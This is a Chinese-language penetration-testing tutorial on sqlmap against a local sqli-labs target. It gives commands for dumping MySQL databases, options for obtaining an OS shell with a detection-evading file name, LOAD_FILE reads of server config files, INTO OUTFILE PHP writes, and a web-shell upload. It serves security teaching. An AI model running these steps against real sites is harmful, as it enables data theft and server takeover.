【渗透测试】SQLmap实战:一键获取MySQL数据库权限

注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。


一、SQLmap常规用法

注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output

1、列出详细过程和数据库列表

bash 复制代码
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch

2、指定一个数据库获取表名:

bash 复制代码
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables

3、指定表名获取字段名称

bash 复制代码
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns

4、获取指定数据库下指定数据表中的所有数据

bash 复制代码
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
​
#注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output\目标\dump\数据库名称

5、dump所有数据(不建议:提示大于3条包吃包住)

bash 复制代码
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump

二、针对 MySQL 的 os-shell 使用方法

1. 基本命令

检测注入点并尝试获取 os-shell

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell

指定 MySQL 注入点 : 如果已知目标是 MySQL 数据库,可以使用--dbms参数指定,提高效率:

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell

2. 针对 MySQL 的高级参数

指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root

强制使用文件写入方式: 如果直接执行方式失败,可以强制 SQLMap 使用文件写入方式:

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0

指定 Web 目录: 手动指定已知的 Web 目录路径:

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"

指定临时脚本文件名: 自定义临时 PHP 脚本文件名,避免被安全软件检测:

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"

三、获取 MySQL 环境 Web 目录的方法

1. 通过 MySQL 系统变量

查询数据目录

sql 复制代码
SELECT @@datadir;

该命令返回 MySQL 数据文件存储目录,如/var/lib/mysql/,可结合服务器类型猜测 Web 目录。

查询配置文件路径

sql 复制代码
SELECT @@basedir;

返回 MySQL 安装目录,通常为/usr/local/mysql/C:\Program Files\MySQL\MySQL Server 5.7\

2. 读取 Web 服务器配置文件

如果拥有足够权限,可以直接读取 Web 服务器配置文件获取 DocumentRoot:

读取 Apache 配置

sql 复制代码
SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');

读取 Nginx 配置

sql 复制代码
SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');

Windows 系统

sql 复制代码
SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');

在配置文件中搜索DocumentRoot(Apache)或root(Nginx)即可找到 Web 根目录。

3. 利用错误信息泄露

通过构造特殊请求触发 MySQL 错误,获取路径信息:

文件包含尝试

sql 复制代码
http://example.com/index.php?id=../../../../../../etc/passwd

如果应用程序直接将参数传递给 MySQL 查询,可能返回包含 Web 目录的错误信息:

sql 复制代码
Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20

4. 写入探针文件

如果拥有 FILE 权限,可以写入一个包含 PHP 信息的探针文件:

sql 复制代码
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';

访问http://example.com/phpinfo.php,在_SERVER["DOCUMENT_ROOT"]字段可以找到 Web 根目录。

四、OS-Shell靶场实例

来到SQLI靶场第一关

启动sqlmap工具,先扫一下靶场的数据库,留做记录

bash 复制代码
python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs

在使用 sqlmap 的 --os-shell 功能时,结合 Burp Suite(简称 BP)抓包分析可以清晰观察 sqlmap 与目标服务器的交互过程,理解其如何利用 SQL 注入漏洞执行系统命令。

在SQLI靶场第一关,找到传参点,使用BP抓包

将抓到的包请求保存到文件;less-1.txt中,然后放进SQLmap工具中跑包

bash 复制代码
python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell

获取靶场第一关的MySQL 数据文件存储目录:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\

bash 复制代码
?id=-1' UNION SELECT 1,@@datadir,3 --+

通过回显结果可以知道,靶场网站是借助小皮工具搭建的,那么第一关的Web可写路径就是:

bash 复制代码
C:\Users\ruanjian\phpstudy_pro\WWW\bachang

在SQLmap工具中,选择2,手动指定自定义的 Web 可写目录路径。

解决权限问题后,重启SQLmap工具

这里获得了两个url,访问第一个url, 可以看到最下方有文件上传的位置,在这里我们可以上传一句话木马。。

打开蚁剑连接,测试连接成功。

总结:sqlmap --os-shell 的使用需要以下条件。

①知道网站的物理路径。

②网站路径具有写入的权限。

③sqlmap能够跑出数据库。


注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。